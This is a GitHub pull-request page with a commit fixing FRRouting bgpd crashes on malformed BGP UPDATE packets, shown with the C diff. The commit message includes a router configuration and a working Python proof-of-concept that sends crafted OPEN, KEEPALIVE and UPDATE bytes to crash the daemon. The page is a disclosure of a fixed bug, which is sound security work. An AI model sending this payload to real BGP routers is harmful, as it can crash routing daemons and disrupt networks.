Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

bgpd: A couple more bgpd crash fixes for malformed packets #14716

Merged
Merged
Changes from 1 commit
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
Next Next commit
bgpd: Treat EOR as withdrawn to avoid unwanted handling of malformed …
…attrs

Treat-as-withdraw, otherwise if we just ignore it, we will pass it to be
processed as a normal UPDATE without mandatory attributes, that could lead
to harmful behavior. In this case, a crash for route-maps with the configuration
such as:

```
router bgp 65001
 no bgp ebgp-requires-policy
 neighbor 127.0.0.1 remote-as external
 neighbor 127.0.0.1 passive
 neighbor 127.0.0.1 ebgp-multihop
 neighbor 127.0.0.1 disable-connected-check
 neighbor 127.0.0.1 update-source 127.0.0.2
 neighbor 127.0.0.1 timers 3 90
 neighbor 127.0.0.1 timers connect 1
 !
 address-family ipv4 unicast
  neighbor 127.0.0.1 addpath-tx-all-paths
  neighbor 127.0.0.1 default-originate
  neighbor 127.0.0.1 route-map RM_IN in
 exit-address-family
exit
!
route-map RM_IN permit 10
 set as-path prepend 200
exit
```

Send a malformed optional transitive attribute:

```
import socket
import time

OPEN = (b"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
b"\xff\xff\x00\x62\x01\x04\xfd\xea\x00\x5a\x0a\x00\x00\x01\x45\x02"
b"\x06\x01\x04\x00\x01\x00\x01\x02\x02\x02\x00\x02\x02\x46\x00\x02"
b"\x06\x41\x04\x00\x00\xfd\xea\x02\x02\x06\x00\x02\x06\x45\x04\x00"
b"\x01\x01\x03\x02\x0e\x49\x0c\x0a\x64\x6f\x6e\x61\x74\x61\x73\x2d"
b"\x70\x63\x00\x02\x04\x40\x02\x00\x78\x02\x09\x47\x07\x00\x01\x01"
b"\x80\x00\x00\x00")

KEEPALIVE = (b"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
b"\xff\xff\xff\xff\xff\xff\x00\x13\x04")

UPDATE = bytearray.fromhex("ffffffffffffffffffffffffffffffff002b0200000003c0ff00010100eb00ac100b0b001ad908ac100b0b")

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('127.0.0.2', 179))
s.send(OPEN)
data = s.recv(1024)
s.send(KEEPALIVE)
data = s.recv(1024)
s.send(UPDATE)
data = s.recv(1024)
time.sleep(100)
s.close()
```

Reported-by: Iggy Frankovic <iggyfran@amazon.com>
Signed-off-by: Donatas Abraitis <donatas@opensourcerouting.org>
  • Loading branch information
ton31337 committed Oct 31, 2023
commit 6814f2e0138a6ea5e1f83bdd9085d9a77999900b
15 changes: 12 additions & 3 deletions bgpd/bgp_attr.c
Original file line number Diff line number Diff line change
Expand Up @@ -3391,10 +3391,13 @@ static int bgp_attr_check(struct peer *peer, struct attr *attr,
uint8_t type = 0;

/* BGP Graceful-Restart End-of-RIB for IPv4 unicast is signaled as an
* empty UPDATE. */
* empty UPDATE. Treat-as-withdraw, otherwise if we just ignore it,
* we will pass it to be processed as a normal UPDATE without mandatory
* attributes, that could lead to harmful behavior.
*/
if (CHECK_FLAG(peer->cap, PEER_CAP_RESTART_RCV) && !attr->flag &&
!length)
return BGP_ATTR_PARSE_PROCEED;
return BGP_ATTR_PARSE_WITHDRAW;

/* "An UPDATE message that contains the MP_UNREACH_NLRI is not required
to carry any other path attributes.", though if MP_REACH_NLRI or NLRI
Expand Down Expand Up @@ -3889,7 +3892,13 @@ enum bgp_attr_parse_ret bgp_attr_parse(struct peer *peer, struct attr *attr,
aspath_unintern(&as4_path);

transit = bgp_attr_get_transit(attr);
if (ret != BGP_ATTR_PARSE_ERROR) {
/* If we received an UPDATE with mandatory attributes, then
* the unrecognized transitive optional attribute of that
* path MUST be passed. Otherwise, it's an error, and from
* security perspective it might be very harmful if we continue
* here with the unrecognized attributes.
*/
if (ret == BGP_ATTR_PARSE_PROCEED) {
/* Finally intern unknown attribute. */
if (transit)
bgp_attr_set_transit(attr, transit_intern(transit));
Expand Down